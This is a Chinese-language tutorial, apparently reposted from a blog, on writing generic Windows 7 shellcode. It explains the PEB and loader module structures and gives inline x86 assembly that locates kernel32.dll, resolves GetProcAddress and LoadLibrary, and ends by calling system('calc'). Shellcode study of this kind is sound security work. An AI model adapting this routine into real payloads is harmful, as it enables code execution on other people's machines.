转自http://hi.baidu.com/egodcore/item/c13e67fe197c940fc6dc45f5
众所周知,在windows xp时代未启用ASLR(Address space layout randomization,堆栈地址随机分布),我们在编写shellcode可以利用硬编码法,将地址写入shellcode,但是这种方法的缺点很明显--不具备通用性。在xp sp2上能跑起来的,在xp sp3上有可能就运行不了。
因为在windows 7中_PEB_LDR_DATA表和以前的系统有了改变,直接查询0x08方式在win7下失效,所以要通过遍历的方法找到Kernel32.dll的基址。
首先我们看PEB的结构
ntdll!_PEB
+
0x000
InheritedAddressSpace : UChar
+
0x001
ReadImageFileExecOptions : UChar
+
0x002
BeingDebugged : UChar
+
0x003
SpareBool : UChar
+
0x004
Mutant : Ptr32 Void
+
0x008
ImageBaseAddress : Ptr32 Void
+
0x00c
Ldr : Ptr32 _PEB_LDR_DATA
+
0x010
ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
+
0x014
SubSystemData : Ptr32 Void
+
0x018
ProcessHeap : Ptr32 Void
+
0x01c
FastPebLock : Ptr32 _RTL_CRITICAL_SECTION
+
0x020
FastPebLockRoutine : Ptr32 Void
+
0x024
FastPebUnlockRoutine : Ptr32 Void
+
0x028
EnvironmentUpdateCount : Uint4B
+
0x02c
KernelCallbackTable : Ptr32 Void
+
0x030
SystemReserved : [
1
] Uint4B
+
0x034
AtlThunkSListPtr32 : Uint4B
+
0x038
FreeList : Ptr32 _PEB_FREE_BLOCK
+
0x03c
TlsExpansionCounter : Uint4B
+
0x040
TlsBitmap : Ptr32 Void
+
0x044
TlsBitmapBits : [
2
] Uint4B
+
0x04c
ReadOnlySharedMemoryBase : Ptr32 Void
+
0x050
ReadOnlySharedMemoryHeap : Ptr32 Void
+
0x054
ReadOnlyStaticServerData : Ptr32 Ptr32 Void
+
0x058
AnsiCodePageData : Ptr32 Void
+
0x05c
OemCodePageData : Ptr32 Void
+
0x060
UnicodeCaseTableData : Ptr32 Void
0x0ch为)PEB_LDR_DATA结构,下面是它的结构
ntdll!_PEB_LDR_DATA+0x000 Length : Uint4B+0x004 Initialized : UChar+0x008 SsHandle : Ptr32 Void+0x00c InLoadOrderModuleList : _LIST_ENTRY+0x014 InMemoryOrderModuleList : _LIST_ENTRY+0x01c InInitializationOrderModuleList : _LIST_ENTRY+0x024 EntryInProgress : Ptr32 Void
其实,LIST_ENTRY就是一双向链表,我们注意看_PEB_LDR_DATA结构这几项
+0x00c InLoadOrderModuleList : _LIST_ENTRY
+0x014 InMemoryOrderModuleList : _LIST_ENTRY
+0x01c InInitializationOrderModuleList : _LIST_ENTRY
它们指向以下结构_LDR_DATA_TABLE_ENTRY也就是_LDR_MODULE
ntdll!_LDR_DATA_TABLE_ENTRY+0x000 InLoadOrderLinks : _LIST_ENTRY+0x008 InMemoryOrderLinks : _LIST_ENTRY+0x010 InInitializationOrderLinks : _LIST_ENTRY+0x018 DllBase : Ptr32 Void+0x01c EntryPoint : Ptr32 Void+0x020 SizeOfImage : Uint4B+0x024 FullDllName : _UNICODE_STRING+0x02c BaseDllName : _UNICODE_STRING+0x034 Flags : Uint4B+0x038 LoadCount : Uint2B+0x03a TlsIndex : Uint2B+0x03c HashLinks : _LIST_ENTRY+0x03c SectionPointer : Ptr32 Void+0x040 CheckSum : Uint4B+0x044 TimeDateStamp : Uint4B+0x044 LoadedImports : Ptr32 Void+0x048 EntryPointActivationContext : Ptr32 Void+0x04c PatchInformation : Ptr32 Void
用图片表示一下上述文字
可以通过遍历_LDR_MODULE来获得kernel32.dll的基址,然后再通过字符串比较寻找GetProcAddress的地址,随后就一马平川了
int main()
{__asm{push ebp;mov esi,fs:0x30; //PEBmov esi, [esi + 0x0C]; //+0x00c Ldr : Ptr32 _PEB_LDR_DATAmov esi, [esi + 0x1C]; //+0x01c InInitializationOrderModuleList : _LIST_ENTRY
next_module:mov ebp, [esi + 0x08];mov edi, [esi + 0x20];mov esi, [esi];cmp [edi + 12*2],cl;jne next_module;mov edi,ebp;//寻找GetProcAddress地址sub esp,100;mov ebp,esp;mov eax,[edi+3ch];//PE头mov edx,[edi+eax+78h]add edx,edi;mov ecx,[edx+18h];//函数数量mov ebx,[edx+20h];add ebx,edi;
search:dec ecx;mov esi,[ebx+ecx*4]; add esi,edi; mov eax,0x50746547; cmp [esi],eax; jne search;mov eax,0x41636f72; cmp [esi+4],eax; jne search;mov ebx,[edx+24h];add ebx,edi;mov cx,[ebx+ecx*2];mov ebx,[edx+1ch];add ebx,edi;mov eax,[ebx+ecx*4];add eax,edi;mov [ebp+76],eax;//eax为GetProcAddress地址//获取LoadLibrary地址push 0;push 0x41797261;push 0x7262694c;push 0x64616f4c;push esppush edicall [ebp+76]mov[ebp+80],eax;//获取ExitProcess地址push 0;push 0x737365;push 0x636f7250;push 0x74697845;push esp;push edi;call [ebp+76];mov [ebp+84],eax;//加载msvcrt.dll LoadLibrary("msvcrt")push 0;push 0x7472;push 0x6376736d;push esp;call [ebp+80];mov edi,eax;//获取system地址push 0;push 0x6d65;push 0x74737973;push esp;push edi;call [ebp+76];mov [ebp+88],eax;//system("calc")push 0;push 0x636c6163;push esp;call [ebp+88];//ExitProcesscall [ebp+84];}return 0;
}
因为写shellcode的时候没有考虑堆栈平衡,所以运行shellcode的时候会报错,所以我们在结束时直接调用ExitProcess来关闭进程。